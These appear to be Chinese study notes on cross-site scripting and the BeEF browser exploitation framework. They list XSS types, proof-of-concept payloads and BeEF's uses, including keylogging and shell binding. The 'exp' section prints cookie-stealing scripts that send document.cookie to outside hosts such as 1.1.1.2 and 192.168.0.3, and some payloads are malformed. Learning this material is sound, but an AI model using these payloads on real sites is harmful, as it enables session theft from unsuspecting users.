XSS
- 攻击web客户端
- 客户端脚本语言
- 弹窗告警、广告
- Javascript
- 在浏览器中执行
- XSS(cross-site scripting)
- 通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的
- 注入客户端脚本代码
- 盗取cookie
- 重定向
使用场景
- 直接嵌入html:
<script>alert('XSS');<script>
- 元素标签事件:
<body onload=alert('XSS')>
- 图片标签:
<img src="javascript+alert(XSS);">
- 其它标签:
<iframe>,<div>,<link>
- DOM对象,篡改页面内容
攻击参与方
- 攻击者
- 被攻击者
- 漏洞站点
- 第三方站点
漏洞形成根源
- 服务器对用户提交数据过滤不严
- 提交给服务器的脚本被直接返回给其它客户端执行
- 脚本在客户端执行恶意操作
漏洞类型
- 存储型
- 反射型(结合社会工程学攻击方式)
- DOM型
漏洞Poc
- <script>alert(‘xss’)</script>
- <a href=””onclick=alert(‘xss’)>type</a>
- <img src=http://1.1.1.1/a.jpg onerror=alert(‘xss’)>
exp
- 收集被攻击客户端的信息
- window.location=”http://www.baidu.com"重定向到指定页面
- <iframe src=”http://xxxx/victim" height=”0” width=”0”></iframe>
- 通过document.cookie读取cookie信息
- 通过document.body.innerHTML=””显示内容
- <script src=http://1.1.1.1/a.js>\
- a.js源码
- var img = new Image();
- img.src = “http://1.1.1.2/cookies.php?cookie="+document.cookie;
- a.js源码
- 通过DOM操作页面内容
- <script>var img=document.createElement(“img”);img.src=”http://192.168.0.3:88/log?"+escape(document.cookie);\
BEEF(Browser exploitation framework)
浏览器攻击面
- 应用普遍转移到B/S架构,浏览器成为统一客户端程序
- 结合社会工程学方法对浏览器进行攻击
- 攻击浏览器用户
- 通过注入JS的脚本,利用浏览器攻击其他网站
浏览器漏洞利用框架
- 生成、交付payload
- Ruby语言编写
- 服务器端:管理hooked客户端
- 客户端:运行于客户端浏览器的Js脚本(hook)
攻击手段
- 利用网站xss漏洞实现攻击
- 诱使客户端访问含有hook的伪造站点
- 结合中间人攻击注入hook脚本
常见用途
- 键盘记录器
- 网络扫描
- 浏览器信息收集
- 绑定shell
- 与metasploit集成
操作
- Commands:命令模块
- 绿色:适用,且执行结果对客户端不可见
- 红色:表示模块不适用当前用户,有些红色模块也可正常执行
- 橙色:模块可用,但对用户可见,比如申请执行Java,申请打开相机
- 灰色:模块未在目标浏览器上测试过